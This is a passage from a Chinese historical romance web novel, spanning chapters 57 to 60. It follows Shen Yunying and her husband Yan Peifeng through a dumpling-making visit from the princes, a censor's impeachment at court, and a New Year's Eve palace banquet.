昨夜两人折腾的尽兴,燕培风得知沈云楹要在冬至亲手包饺子,便说他休沐,一起下厨。沈云楹欣然答应,多一个帮手,谁会拒绝? 铮然居的小厨房要扩建,暂时不能用,府里的大厨房早得了命令,收拾出来。桐芍、王兰花做指导老师,和面、拌馅,这两样沈云楹就凑个热闹。真正的重头戏是包饺子。 两位一日之师亲自演示解说如何包饺子,沈云楹系上丝绸襻膊,学习捏元宝饺、月牙饺,燕培风则学四喜饺、柳叶饺。两夫妻下厨少,学起来还有模有样。 祭红柚梅花碟大肚饺子整整齐齐摆了一圈,个个圆胖可爱。 沈云楹和燕培风相视一笑,他们成果可嘉。正准备再接再厉,忽然门外响起一道轻咳声。沈云楹循声望去,只见两位年轻男子并肩站在厨房门口。 左侧的男子头戴玉冠、身穿墨青色流云纹直缀,内衬银鼠皮里,腰束白玉带,手持掐丝珐琅小暖炉,外罩的玄色织金大氅衬得男子清贵无双。 右侧稍高一些的男子身穿火红暗织麒麟纹圆领袍,一件狐裘里子的银红色披风,袖口镶着一圈细细的风毛,随着他抬手指向燕培风的动作微微颤动。 这两位正是太子与二皇子。 每年冬至,皇上和皇后会在坤宁宫设小家宴,是真正的家宴,只有帝后夫妻和他们的儿女,即太子一家、二皇子一家、五公主。 之前燕培风以守孝为由,不去赴宴。这次皇上特意派两个儿子来叫燕培风和沈云楹一块儿来用饭。 太子和二皇子悄然登门,管家又惊又喜,赶紧领两位贵客去前院正厅,打发人去寻燕培风,谁知小厮年纪小没眼色,当着太子和二皇子的面说燕培风在大厨房,还吩咐不让人打扰。 燕培风和厨房居然能凑在一起。太子和二皇子立即兴起,要亲自去大厨房见燕培风。 等真正看到燕培风挽起袖子,捏出满满一碟子的饺子,旁边一排六个木盆装着不同馅料:火腿木耳、韭菜鸡蛋、虾仁笋丁、松茸稚鸡、羊肉苁蓉、桂花栗子。 这幅场景,直看得两人目瞪口呆。 再看到燕培风身侧的沈云楹,还有什么不明白的? 除了狩猎烧烤,燕培风还下过厨吗? 太子一脸戏谑,笑而不语。 二皇子满目震惊,而后嗤笑一声,“燕培风,你怎么和厨娘似的窝在厨房包饺子?”等大迈步进厨房,他剑眉皱起,嫌弃道:“啧啧啧,燕培风,君子远庖厨,你圣贤书白读了!” 沈云楹没见过太子和二皇子,刚刚还以为是燕培风的好友,但听他真情实感的嫌弃语气,又一想,两人不问主家而私自闯厨房,说话刺耳、行止无礼。 余光看到燕培风正在失神,沈云楹脸上的笑意顿消,慢斯条理的放下襻膊,冷声道:“君子之于禽兽也,见其生,不忍见其死;闻其声,不忍食其肉。是以君子远庖厨也。这位公子,若有闲暇,早些去寻教你四书的先生解惑吧。” 省得来我们府上碍眼。 二皇子听得云里雾里,奇道:“你在说什么之乎者也。我听不懂!” 沈云楹一愣,他不读书的吗? 燕培风计划用什么法子撵二皇子走,听到沈云楹和二皇子的初交锋,抿唇忍笑。 太子没有顾虑,直接笑出声,拍着二皇子的肩膀,“二弟啊,平日叫你读书,你不肯。连架都吵不起来。”摇头道:“有点丢人。” 二皇子梗着脖子哼一声,高声对沈云楹道:“君子就要远庖厨,又不是请不起厨娘,堂堂公主之子、皇帝外甥,还亲自下厨才丢人。” 沈云楹先看一眼燕培风,见他神色无异,就道:“你身上有官职、有爵位吗?不懂农桑、五谷不分,何以为官?厨房也是了解农事的途径。时令菜式是哪些、每日菜价几何、米粮涨价降价,什么地种出什么米,都能知道。” “我看史书说,一月不雨,皇帝就愁的吃不下饭。要是皇帝不懂雨水对农事的重要,不知道吃得多欢乐。” 二皇子张口欲言,又不知如何反驳,转头向他太子大哥求助。 沈云楹笑着望向燕培风,“夫君,还记得陈家村吗?那儿的县令已决定把陈家村的发起过程记载到县志中。一样竹筒饭,加上游学士子的褒扬,多少读书人慕名而去?就借这股东风,陈家村人人都能吃饱饭,建上好房子。” 燕培风一直知道沈云楹有自己独特的想法,亲耳听到她这么说,会心一笑。他当时便觉得是个治理地方的偏方奇方。 倒是太子,这是他第一次见到沈云楹本人,立时明白外面的传言全是虚言。此女勉强配得上燕培风了。 二皇子见太子双目欣赏地盯着燕培风夫妻,不会帮自己。又因沈云楹的话直白,他听进去了,的确有几分道理。 他暗道看在沈云楹是女子的份上,且不同她计较,只转头对燕培风道:“在这儿包什么饺子,快随我们去坤宁宫用饭。” 燕培风十分淡定地说:“不去。” 沈云楹这才听出来两人的身份。眼前这两位青年男子是皇子,又和坤宁宫有关,那大概就是太子与二皇子。她看向燕培风,反正燕培风都不行礼,那她也不用吧? 太子却拉住要去上手拉人的二皇子,“别捣乱。”意味深长地看一眼燕培风,“你已成家,不去便不去。我会和父皇母后说。” 燕培风都成亲了,有他自己的小家。他看起来还很满意。他们皇家人不会做惊散鸳鸯的棒槌。 二皇子还要反抗,“皇兄!皇兄!你忘了父皇母后的话?我都发誓要带燕培风回去,又失败一次,我哪儿有脸去见母后?” 太子伸手要捂嘴。 二皇子做最后的挣扎大喊:“你不想尝尝燕培风亲手包的饺子吗?” 可惜太子常年习武,力气不小,捂得紧紧的,只能听到呜呜呜抑扬顿挫的声音。 二皇子个高体壮,要是真的反抗或许能成功,但施压的人是他亲兄长,二皇子他不敢动手啊。 太子领着二皇子,来也匆匆去也匆匆。 沈云楹一脸惊奇地围观。 燕培风先开口:“每年冬至,皇上和皇后都会在坤宁宫办小家宴,没有其他妃嫔和皇子公主。” 沈云楹点头,就是帝后的小家。 “父母去世后,皇上说舅舅外甥也是一家,唤我一块去用饭。我以守孝拒绝了。舅舅舅母的用心,我都知道。”燕培风心知他姓燕,不姓李。而且与帝王家相处,燕培风心底牢记分寸二字。 燕培风没再继续说,沈云楹没追问,伸手端起碟子笑道:“我们今晚办饺子家宴?” 燕培风当然没意见。 自己做的,怎么可能不吃。 忙碌一个上午,硕果累累,饺子摆满十个竹蒸屉,约莫有两百多个。剩下的面皮和馅料就交给厨房动手包。 自家还没开吃,沈云楹先吩咐:“送三十个去静远斋,再装一百个送去坤宁宫。” 沈云楹看重蒋文笙,燕培风看重皇上舅舅舅母,将心比心,她有好的东西,有静远斋的一份,就少不了坤宁宫的。 尽到心意,皇上皇后喜不喜欢用不用,就在于他们了。 燕培风听着沈云楹熟练的吩咐,银屏和银筝两个丫鬟也习以为常的模样,他奇道:“你常往坤宁宫送东西?” 不是不喜应酬吗? 难得燕培风露出这么明显易懂的神情,沈云楹心道:她只是想当甩手掌柜,不是要请辞隐退! 沈云楹颔首,懒懒地回道:“随手能做,又能尽孝心。”—— 作者有话说:注: 君子之于禽兽也,见其生,不忍见其死;闻其声,不忍食其肉。是以君子远庖厨也。 出自:《孟子·梁惠王上》 第58章 无妄之灾 隆冬时节, 外头北风冷飕飕地刮,沈云楹持续猫冬中。 屋内一角放着炭盆,炕也暖烘烘的, 沈云楹想起海物斋的那幅木片拼图。整整一匣子的木片,一天拼一点, 能消遣整个冬日。 银屏在外面支应管家, 只有银筝给沈云楹打下手。 沈云楹正在观摩原图, 画的非常精细,每个人表情各异, 栩栩如生。她指着最靠近码头的一个人,“银筝你看,这里有个人竟然是红发红眸。” “要是在京城,就要被当做精怪了。”银筝脆声道, “话本的里妖怪发力不足,变成人就是这样的。” 沈云楹笑道:“你忘了鸿胪寺遇到过海外人?” 有一年太师祖父的学生登门拜访,他夫人去慈晖院拜见沈老夫人, 沈云楹去作陪。因为丈夫在鸿胪寺当值,负责招待他国来使, 遇到过一次黄头发绿眼睛的海外人,因语言不通, 双方都闹出一些小笑话。那位夫人就把这事儿当新鲜事讲给沈老夫人解闷。 沈云楹和银筝听了全程,印象深刻。 银筝点头,“当然记得。三夫人还说,大家都以为鸿胪寺清闲,哪想到内里琐碎的事那么多。” 沈云楹拿出五十块木片,在脑子里勾勒要怎么摆弄,银屏从外面匆匆进来, 着急道:“夫人,刚刚思齐回府拿炭敬的账册,说今儿早朝有御史弹劾老爷,”她停顿片刻,小声道:“其中一项罪名是纵妻与民争利,说您名下铺子繁多,打压市价,欺压百姓。” 沈云楹正为燕培风提起心,听到后面就是又懵又惊讶,无语道:“我的嫁妆多也是错?” 她的嫁妆是沈家置办的,大部分是她父母的产业。在交到她手里前,蒋文笙先处理过一遍。沈云楹又有自知之明,只查账册,不掺和生意,一切维持原状。 要说和百姓相关,客栈、茶坊、书肆、粮铺、医馆药铺、粗布庄等等,沈云楹自己想着也觉得有点多,她一没有仗势欺人,二没有刻意压价,店铺的口碑还挺好呢。 不过第一次被弹劾,沈云楹比较紧张,一面派人去宫门口留意最新消息,一面打发人去明察暗访有没有掌柜阳奉阴违,真的做出欺压之事。 —— 文德殿是常朝正殿,庄严肃穆。 今日大朝会本无要事,议过西北的军粮棉衣和皇陵的修建进度,看形势应该要退朝了。 左后方的王御史突然站出来,慷慨陈词:“启禀皇上,臣谨奏:户部清吏司燕培风,一贪墨无度,门庭若市,今岁收炭敬逾万金,二奢侈享乐,住公主府已是谕制,仍锦衣华食,海外奇珍,极尽奢靡;三与民争利,纵妻竞锱铢之利。若不严惩,何以正官风,平民意?” 燕培风按照品级,堪堪站在文德殿门口边上,乍一听王御史的弹劾,满脸惊诧。恰好此时殿内众人的视线都齐聚在他身上,心底各有思量。 太子微微扬眉,脑子里掠过王御史的履历,王御史是庚辰科进士,先在工部观政,再任七品监察御史,十年不曾晋升,为人耿介,重清名。 二皇子险些翻个白眼,御史真是狗拿耗子多管闲事。京官收炭敬不是约定俗成的?二皇子府收的比燕培风还多呢。他自诩是皇子,燕培风是他姑姑的儿子,正儿八经的皇亲国戚。锦衣玉食,理所应当。 此时,燕培风已收敛思绪,恢复往日温润谦和的模样,面对弹劾自己的王御史,依然没有怒色。 皇上高坐龙椅,虎目盯灼灼,看了王御史一眼,正色道:“王御史状告燕爱卿,可有证据?” 王御史高举奏折,高声道:“证据在此,请圣上过目。” 皇上一个眼神,汪公公快步下台阶,接过奏折,恭敬奉上。皇上打开扫一眼便拍在御案上,“燕爱卿,你有何话说?” 一个王御史,一个燕爱卿,皇上偏袒的心思已摆在台面上。不过,这在众人意料之中。但若燕培风只能靠皇上的偏心立足,今后官场的路就难走了。 沈太师气定神闲地立在首位,直到燕培风回话才转过身,留神细听。 燕培风出列,君子如竹,端直挺立,徐徐道:“回皇上,王御史所言,皆不实。” “微臣家有薄产,遂早与京兆府尹林大人定下捐赠契,今年所收炭敬全数赠予朝廷,用于今冬城外施粥布衣。微臣有账册、契书为证。” 林府尹适时出列,“微臣证明,确有其事。”又对户部尚书道:“这事,微臣在户部存档。” 去年与今年相比,少拨一笔钱,户部有记录。 这种小事,户部尚书怎会知道?他只能道:“燕大人与林府尹言之凿凿,微臣这就让人去核实。” 澄清第一点,燕培风继续自辨,“微臣自认并无奢靡之举,不知王御史从何得来的结论?” 他直面王御史,“至于纵妻从商,女子嫁妆,我断不会染指。而且据我所知,拙荆的嫁妆铺子平价惠民,打压之说纯属子虚乌有。” 王御史立即指出:“冬日蔬菜少,燕家粮铺里,白菜价比白银。” 燕培风更从容,“物以稀为贵。我家温泉庄子栽种、养护,颇费心思。再者,这些金贵的菜蔬只有大户人家才会来买。” 王御史还要说话,被皇上打断,“好了,朝会朝会,应当商议国之大事。这些没根据的小事,以后少参奏。” 皇上不耐烦地摆手,“没别的事,就退朝吧。” 等了片刻,汪公公扬声高喊:“退朝!” 文武百官依次离殿,二皇子正要来嘲笑一下燕培风,汪公公就来传召,“燕大人,皇上宣您去勤政殿。” 燕培风颔首,“有劳汪公公。” 勤政殿内,皇上在烦躁地拍御案。 燕培风走入殿内,行礼后便道:“皇上,注意龙体。” 入冬后,皇上就病了两次,一次是换季。还有一次纯属皇上自己造的,一大把年纪还学人夜半寻梅赠佳人,第二天强撑着上朝,自然受不了。 皇上叹气,“你说那王御史多嘴个什么劲儿?枉他平日瞧着一副聪明样,被人当枪使,还当不好一杆利枪!”气愤拍桌,“太子去处理这事儿了,你的小厮思齐回府取账册,有人证物证,起不了风浪。” 七年前,各地的茶税、盐税逐渐减少。皇上开始以为是碰上天灾人祸,少一些正常,后来逐年降低,尤其是盐税,去年竟只有以前的半数。皇上和太子派人去查探,可惜全都折戟沉沙。 这回送燕培风去户部参与秋税,燕培风以熟悉业务为由,趁机调取阅看往年所有的账册,必然引发怀疑。同时皇上大大赞赏燕培风做得好,俨然要把燕培风放在户部历练几年的模样,在户部帮着遮掩之人肯定心中不安,对燕培风出手。 皇上和太子等了这么久,结果就等来王御史乱打的一拳,不痛不痒。 燕培风却不着急,还劝说道:“皇上,所谓投石问路,一颗石子不起效,还有下一个。” “罢了,你这些时日小心些。”皇上怒气来得快去得也快,随即掏出准备许久的话叮嘱燕培风,从为官谨慎圆融到出入带足人手注意人身安全,再到夫妻相处经验,可谓面面俱到。 燕培风几次欲阻止,思虑到皇上方才心情不好,又说到他的短板夫妻相处之道,耐着性子听下去。 直到太子进殿,皇上才鸣金收兵,“舅舅不是唠叨你,这些都是舅舅多年来宝贵的经验,你回去好生琢磨,定当受益!” 太子不解地瞅一眼燕培风,你多久没有让父皇唠叨到尽兴了,今儿被王御史的弹劾冲昏头脑了? 燕培风见太子乍惊的模样,反而笑了,“皇上,太子妃怀有身孕,太子比我更需要您的经验。” 我家只有一个妻子。东宫和后宫一样,一妻几个妾,正妻有身孕,妾室争宠的厉害。 太子气愤,燕培风平时祸水东引就罢了,父王的念功他忍得住,现在他自个儿受完罪,还要拉他下水。亏自己才帮他解决王御史。 太子忙赶在皇上开口前说:“父皇,王御史纯属被人利用,他还不知背后是谁。儿臣让人去查了。” 原来王御史家贫,每日早食都在家门口的面摊吃,听些市井民生和京中八卦消息,前阵子有外地官员的随从在那儿抱怨,被王御史听到,他调查一番,发现确有其事,立刻写了弹劾奏折。 皇上对御史台的御史都有印象,毕竟御史台在朝堂专注找茬,要放谁在这个位置他每次都会细细斟酌。 当初选王御史就是看中他耿介重礼法,又生得不错。骂人也好看些。他不想看糟老头子吐唾沫星子啊。 “罢了,他蠢一回,言官又不能轻易降罪。让他回府歇着,就当提前封印。”皇上想了想,这样不轻不重,正好。 太子和燕培风没意见。 朝廷封印由钦天监择吉日,今年格外早,腊月十八就要封印。今日已是十四。就差四天而已。 文德殿的场景被思齐打听个齐全,他留了心眼,主动递话给沈云楹的陪房小子,让他回府禀报。 沈云楹得知燕培风毫发无伤,反而是自己的嫁妆被王御史一提,铺子里传来消息,突然多了许多陌生的、穿着丝绸的客人,行止自有一股规矩,总之不是一般百姓。 一看就是官宦之家的下人。 沈云楹都不用想,一定是有人在查她的嫁妆铺子。她就很无奈,朝廷的官员都这么闲吗?幸好蒋文笙给她挑的都是干活利索、背景干净的人,没有发生作奸犯科之事。沈云楹只能吩咐掌柜们仔细招待,做好本职工作就成。 沈云楹喝口木樨清露暖胃压惊,感情这场弹劾里,最大的受害人竟然是她? 无妄之灾啊! 第59章 金盆洗手 冬日黑的早, 申末时分就要在庭院各处点灯。 燕培风从裹着冷风进屋,沈云楹今儿着急,忙迎上去接过他的墨竹凌云暗纹大氅, 嘴里道:“你终于回来了。” 接着就把她的铺子有人来查探的事说了。 燕培风神色一凛,“有多少人?去了哪些铺子?” “只这大半日, 就有十个。都是一些寻常铺子, 粗布庄、药铺、杂货铺。”沈云楹秀眉微蹙, 她得向燕培风讨主意,这些人不管是继续对付燕培风, 还是想破坏她的嫁妆,都得靠燕培风处理。 “我去来解决这事,”燕培风低头望着沈云楹,愧疚道:“是我连累了你。” 君不密则失臣, 臣不密则失身。时机未到,和皇上、太子密谋,主动进入户部做饵之事暂且不能告知沈云楹。 燕培风想着沈云楹整日宅在家中, 公主府在燕培风的监控下外松内紧,外人混不进内宅。但他未料到会有人针对沈云楹。从后宅妇人嫁妆入手, 不像王御史的风格。 燕培风猜测利用王御史之人对沈云楹颇有敌意,这或许是追查幕后之人的一条线索。 沈云楹叹一口气, 摇头道:“铺子的事暂且不提,这事说破天我都占理。可售卖菜蔬,是我自己的主意,与你无关。” 从种植到售卖,都是沈云楹自己一个人做主。 谁能想到,卖个新鲜菜蔬都能被人盯上。她卖得也不多,每日就二三十斤的量。粮铺掌柜汇报过, 京城高官世宦之家都有固定的合作商家。她这点散量的买主多是大商户,如皇商唐家之类的人家,富而不贵,宴请多需求高,都是一次全买光。 沈云楹只能心中哀叹她真的不是做生意的料!以前最多赔点钱,现在都惊动御史弹劾了。谁知道下一次会是什么呢? 沈云楹决定就此金盆洗手,别头脑一热就想赚钱。 燕培风却深知,如果不是自己,谁会盯着沈云楹一个后宅女子的嫁妆铺子。 “我也同意了,”燕培风不是推脱责任的人,温暖宽厚的手掌在沈云楹的后背轻轻拍拍,宽慰道:“你的主意很好,也不必停了这生意。” 沈云楹想收手了,见燕培风一脸无所谓的样子,转念一想,做事就讲究个有始有终,既然这次挨了御史骂,不多赚点钱怎么行? 于是沈云楹改主意,决定做完这单。 “那就听你的,腊月底价格更高,最后再赚一笔。”沈云楹笑容纯真又狡黠,明媚得让人晃眼。 燕培风手随意动,拉着人直奔床榻。 耿耿长夜,两人的晚膳变宵夜。 —— 腊月十八,朝廷封印,文武百官正式休年假。 燕培风不必去衙门点卯,可皇上看重,每日都要宣他去勤政殿。 临近年关,就是府里最忙的时候,上到祭祀,下到奴仆冬衣赏钱,全都要在年前做完。其中最重要的一项是年礼往来。好在燕管家和杨嬷嬷都是做惯了的,又有银屏在旁协助,沈云楹每日去议事花厅两个时辰,总算安安生生料理完。 今年偶有波折,大体风调雨顺,帝后于昭宁殿设除夕宫宴,宴飨群臣,共庆新春,祈国泰民安。 六品以上官员皆可参宴。 沈云楹和燕培风一起坐马车进宫。 皇宫灯火如昼。琉璃瓦尚有积雪,朱红宫墙下,朝臣着朝服、命妇们按品大妆,有序往昭宁殿而去。 男宾在外殿,女眷去后殿,殿内装饰辉煌,锦绣案几,环佩轻响。 戌时正,殿门传来静鞭三响,帝后同辇而来。皇上身穿明黄色金丝五爪龙袍,皇后通身正红凤穿牡丹朝服,头戴九龙九凤东珠凤冠,帝后威势逼人。 殿内诸人纷纷跪拜,口呼“万岁!”,礼官叫起,众人落座。 除夕宴由赐屠苏酒起,月台献舞《太平乐》,乐声时疾时缓,舞姬广袖翩跹,如流风回雪,顾盼生辉。 沈云楹看得如痴如醉,想着要不要在自家府里养一批舞女和戏班子。 身侧突然传来故意发出声响的脚步声,鞋面上的珍珠碰撞出叮咚响声,沈云楹好奇侧头去看。 只见明珠郡主一身大红纻丝金绣云凤纹,头戴满是珠翠的庆云冠,一张秀丽的面容依然倨傲,缓缓走到沈云楹面前。 沈云楹能感觉周边有无数双眼睛在盯着这边,等着她与明珠郡主再次交锋。 明珠郡主也不想被人家当成猴儿看,她继续往前走,几乎贴着沈云楹面前的案几站,眼神落在沈云楹娇艳白润的脸蛋上,轻哼一声道:“还是一副上不得台面的样子。区区一场歌舞,就失了心神。” 这是嫌弃《太平乐》歌舞不够好,又贬低沈云楹没见识。 沈云楹展颜一笑,“皇上皇后都说好,我也觉得挺好的,明珠郡主觉得不好吗?难道诚王府的歌舞比除夕宴的还要精彩?郡主看多了才看不上。可惜臣妇无缘欣赏。” 神态真诚,语气柔和,真心羡慕的样子,浑然天成,毫不作伪。 可是明珠郡主脑中敲响警钟,这话她哪里能应!城王府的东西当然要比皇宫低上一等。 等等,沈云楹前面一句还提到皇上皇后,明珠郡主余光往正中的皇后瞧去,皇后指定让人留意这里的动静。 明珠郡主收起倨傲的神色,冷声道:“容你再得意一阵。” 她再次被父王遣送回江南外祖家,幸好她最后关头改变主意,答应父王定下亲事,这才能留在京城。 定亲而已,就算成亲了也没事。等到燕培风休妻,他也是二婚,两人正好相配! 沈云楹面上维持着礼貌客气的微笑,随口应付,“郡主说的是。” 明珠郡主深吸一口气,转身离去。 围观的众人没看成热闹,有人偷偷离远些,有人私下议论。 “听说皇上就是看中沈云楹嫁妆丰厚才指婚。” “真的?不可能,燕培风可是嘉荣长公主和燕驸马的独子。他家三代单传的。”家财全在他一人手。 “不然你说为什么?沈风诚去世多年,那点官声顶什么用?沈太师又不只沈云楹一个孙女?沈家三位姑娘呢。” 话锋一转又说:“不知其他两位姑娘的嫁妆如何?” “沈二姑娘嫁入永安侯府,嫁妆中规中矩啊。晒妆没什么特别的。”刚好符合身份,没多的也没少的。 沈云楹端起温茶一口饮尽,她其实很想说一声,她都能听到啊。年关繁忙,沈云楹都不曾留意,谣言都传到燕培风和皇上看中她的嫁妆了。 沈云楹略感无语。先不说皇上会不会看上这么点东西,就是燕培风,燕家公中丰厚富裕,燕培风自己还有偌大的私房呢。 这些人是太看得起沈太师,还是太看不起皇上与燕培风。 沈云楹神思云游之际,忽听皇后传召,叫她近前说话。沈云楹只得起身,莲步款款上前,还未站定就被皇后亲手拉过去,今夜皇后雍容端庄,站到她面前,自己就会不由自主的整色敛容,认真相待。 皇后许是看出沈云楹的紧张,温声道:“云楹陪舅母说说话。”说着拍一拍她的手背。 触感温软,笑颜温柔,沈云楹突然觉得眼前的皇后与蒋文笙忽然就有了片刻相似的神韵。 沈云楹脸上露出一丝羞怯,再低头笑道:“舅母抬爱,臣妇恭敬不如从命。” 皇后有些歉意地看着面前的女子,放低声音,“你和培风成亲时日不短了,燕家三代单传,看看重子嗣,你该放些心思在绵延子嗣上头。” 见沈云楹面露为难与羞涩,皇后又道:“这些是皇上叮嘱本宫一定要同你说。可是,本宫的意思,你们男才女貌,才成亲半年呢,这会儿重要的是和夫君相处。上回你们能一起下厨包饺子,就很不错。” 就是皇上吃到燕培风孝敬的饺子,当场对两个亲生儿子蹬鼻子竖眼睛,坤宁宫的小厨房迎来最热闹、最无序的一天。 沈云楹诧异地抬眸,皇后这话算得上推心置腹了。她笑道:“臣妇受教。”想了想又接着说:“子嗣强求不得,最是讲究缘分。或许我们只是缘分未到。” 皇后笑意更深,招手让人去拿金身送子观音,“等出宫的时候,你带回公主府,多拜拜菩萨,总是灵验的。” 沈云楹突然想起东宫太子妃时隔多年再次有孕,皇后才有这番感叹吧?就没有拒绝这份礼,福身道:“臣妇多谢娘娘厚爱。 ” “谢什么谢,你在宫外时常念着坤宁宫,有什么好的都要送一份来。五公主对你送来的南边花样爱得不行,时时不离手,琢磨着要跟着学呢。可她没那份灵巧,绣出来粗粗笨笨的。”皇后想到女儿照着样子都不会瓢,忍不住想笑。 沈云楹没见过五公主的绣品,见皇后乐不可支的模样,忍住不跟着笑。皇后可以笑话自己女儿,你跟着笑就不礼貌了啊。 “五公主喜欢,臣妇那儿还有一些新花样,改明儿送进宫。” 五公主多看看,可能就开窍了呢? 皇后微微颔首,“舅母替她多谢你们夫妻想着她。”皇后乐于沈云楹与五公主交好。以后五公主总要出宫开府,成亲有驸马,沈云楹能帮着照顾一二。 沈云楹忙说不用。 皇后时间紧,便让贴身女官送沈云楹回位置。 沈云楹就发现,自己周遭那些令人不舒坦的盯人视线和议论声全都消失了。她轻笑一声,这就是皇后的震慑力啊。 沈云楹以为能安静的歇一会儿,谁知,一个侧头就看到沈云蔓笑吟吟地朝这边走来。 第60章 归宁 本朝世子夫人的朝服青色罗裙, 深青霞帔,而沈云蔓的面容偏稚嫩,圆脸圆眼, 为了衬上这身朝服,生生化上一个显老的妆容。 沈云蔓算计着嫁入永安侯府, 一是为了自己, 二是为了兄长的地位。所以成亲后, 她与沈二夫人时常见面,听到不少沈云楹的事情。 比如沈云楹每月都回沈家探望蒋文笙, 沈云楹驳了薛夫人的面子,沈云楹不得燕培风宠爱等等。 沈家就姐妹三个,暗自攀比就如吃饭喝水一般自然。现在沈云楹和沈云蔓都初为人妇,当然少不了比较。 沈云蔓自得把沈云楹比了下去, 但先是传出沈云楹妆奁盈实,比沈云蔓以为的多得多。刚刚又亲眼目睹皇后娘娘对沈云楹的态度,亲近温和, 就像家中的慈爱长辈。 沈云楹手里捧着一杯热茶,浅浅地喝一口, 面上含笑望着沈云蔓步步走近。 沈云蔓腹中准备了几句好听的场面话,可对上沈云楹淡定的目光, 一下没沉住气,脱口而出:“三妹妹,如今你日子真风光啊。 ” 艳羡之意尽显。 沈云蔓跟着婆母往来交际,深知在皇后当着众诰命的面拉着沈云楹聊天,本身就是一个信号。 皇上皇后满意她这个外甥媳妇。 燕培风官途顺遂,在翰林院才几个月就去了户部,翰林院多少官员羡慕得眼红。就算遇到御史台弹劾, 不仅有皇上撑腰,还有太子亲自出面处理。 自古夫荣妻贵,就冲着燕培风这份体面,沈云楹的风光可想而知。幸好沈云楹没能为,和在沈家一样,深居简出,不然在宴会雅集相遇,奉承沈云楹的人一定比自己多。 沈云蔓薄唇紧抿,想想还未入朝办事的章兴宇,心中憋气。 沈云楹实事求是,对沈云蔓露出一个笑,点头道:“是啊。二姐姐你说的真对。” 沈云蔓一噎,浑身僵住片刻,沈云楹真不会说话! 只听沈云楹又继续道:“方才我瞧见武安侯夫人在和贤王妃说话,二姐姐不去吗?” 婆母与贤王妃交好,挽回了一点面子。沈云蔓轻哼一声,心想永安侯府也不差。不管章兴宇将来科举仕途如何,总有个爵位等着。 她眼珠子一转,突然道:“三妹妹知不知道大姐姐回来了?” 沈云楹当然知道,在沈云芝回太师府的第二天蒋文笙就差人告诉她。今年年礼,她还给沈云芝备了一份呢。 “唉,大姐姐也是可怜。我前几日回府,专程去探病,她整个人瘦了一大圈,形容憔悴。”沈云蔓叹道。 沈云楹抬眸瞧她一眼,感觉到了沈云蔓的进步。尤记得沈云芝刚出事的时候,沈云蔓故意提起孟昭文孤本的时候,眼角的笑意没收住。 而现在沈云蔓的神情动作和语气全在惋惜。 沈云楹附和道:“这样啊,等明日归宁,我多准备些药材。” 沈云蔓掩唇而笑,手肘碰了一下沈云楹的小臂,“傻妹妹,药材能顶什么用?我听说大伯母在为大姐姐相看,可惜,她大病一场,大好的姻缘线断了。” 说着手掌摊开,做断开状。 沈云楹有些无语,沈云蔓这么幸灾乐祸,也不怕大伯母气不过给二伯母下绊子,就二伯母的脑子,绝不是大伯母的对手。 她眸光一闪,耿直问道:“哦,那二姐姐你要为大姐姐保媒吗?那可真是太好了,明日我一定告诉大伯母,给你一份大大的媒人礼。” 沈云蔓既没有吃饱了撑的,又不欠沈云芝的,怎么可能会帮沈云芝? 永安侯府的亲事是沈云芝先背弃的,不顾家族体面和女眷名声,自甘堕落。 又不是自己使手段抢来的。沈云蔓心安理得看沈云芝落魄愁苦。 不过,沈云蔓侧头看看沈云楹,不知她是真傻还是假傻,怎么会以为自己想沾手沈云芝婚配之事!但见沈云楹真诚坦率的眼神,沈云蔓赶紧推脱:“我年纪轻,怎么敢揽下这种大事。” “诶,我婆婆回去了,我得过去伺候。”沈云蔓寻个借口离开。 沈云楹微微一笑,“二姐姐慢走。” 接下来到百戏表演,吞刀、吐火、走索,花样频出,沈云楹就看个热闹,因为百戏的把戏都差不多,她有点看腻了。 除夕宴散,沈云楹没立即离开,在侧殿等了一会儿,皇后身边的女官和宫女抱着盒子过来,沈云楹口中道谢,示意银筝接下。 等沈云楹走出昭宁殿时,就看到燕培风迎着夜风站在廊柱旁,快步走过去,赧然笑笑,“回府吧。” 燕培风在门口看着女眷鱼贯而出,就是不见沈云楹的声音,长眉微蹙,想着今夜除夕,就算闯了祸,皇后不会为难沈云楹,就耐着性子继续等。 亲眼见到沈云楹出来,燕培风几不可察的松口气,问道:“遇到什么事了?” 视线扫过银筝手上的乌木盒子。 两人往前宫门口走,沈云楹小声重复皇后娘娘的话,“送子观音,我给送到佛堂去?” 公主府设有小佛堂,在供奉嘉荣长公主和驸马牌位的小祠堂隔壁,在东北角,与铮然居隔了大半个后院。 燕培风侧身挡住骤然兴起的一股冷风,道:“随你安排,记得拨两个人过去伺候。” 沈云楹记下了,这样更显重视。佛堂离得远,但是我心诚啊! 皇家人在宫中守岁,官员回自家府邸守岁,难得光明正大的在夜里驶过长安大街,各家各户都不熄灯,到处亮堂堂的。 沈云楹和燕培风回到铮然居,银屏迎上来伺候,先给两人倒茶,说道:“老爷,夫人,热水备好了,要去洗漱吗?” 沈云楹直奔梳妆台,让银筝帮着拆头发,让燕培风去洗漱,她先松快松快,在宫里坐久了不舒坦。 还有三刻钟就到子时,沈云楹和燕培风一起守岁,两人没有躲在屋子里,沈云楹等着看子时的烟火。 辞旧迎新,只要家中有余钱,就会备上一个。燕家自然也有,沈云楹特地去炮坊定制的花样,烟花绽放后看起来就像一匹奔腾的骏马,应时应景。 烟霞衬玉颜。 燕培风觉得在烟火下沈云楹的笑颜丝毫不比绽放的烟火逊色。 又是鱼水尽欢的一夜。 —— 年初二,归宁。 沈云楹和燕培风去太师府。 今年是太师府的头一次迎接两位姑奶奶归宁,沈太师和沈老夫人重视,沈大夫人用心筹备,沈家的男丁齐聚,不能落了沈家姑娘的面子。 全家齐聚在慈晖院,沈云楹从没觉得慈晖院这么小过,满满当当的全是人。她留神去看,没见到沈云芝,心里奇怪,沈大夫人不带沈云芝去宫宴,现在家宴也不见人影。 沈云芝不亮相,说亲的人家心里也要琢磨沈云芝的病,怎会顺利应下亲事? 燕培风站在沈云楹身侧,想起沈云楹只言片语中透露出在沈家的处境,还有她名字的由来。他粗粗扫一眼,岳母不在,燕培风的神色冷了几分。 燕培风低头去看沈云楹,见她神色如常,不像担忧的样子,小声道:“等会儿我陪你去探望岳母。” 沈云楹却摇摇头,同样小声说:“不用,我娘吹了风,发热头疼。你去了她还得折腾见客,你还是去前院待着吧。” 如果燕培风去问候,章兴宇讲究礼数,也要去静远斋问候一声。就为了说两句客套话,沈云楹可舍不得她娘劳累。 闻言,燕培风没有坚持,岳母身体要紧。 众目睽睽之下,两人没有多聊。恰好沈太师和沈云蔓夫妻问过话,关心地问起沈云楹在燕家过得如何。 没过多久,沈太师就带着沈家男人和两位孙女婿去了前院。 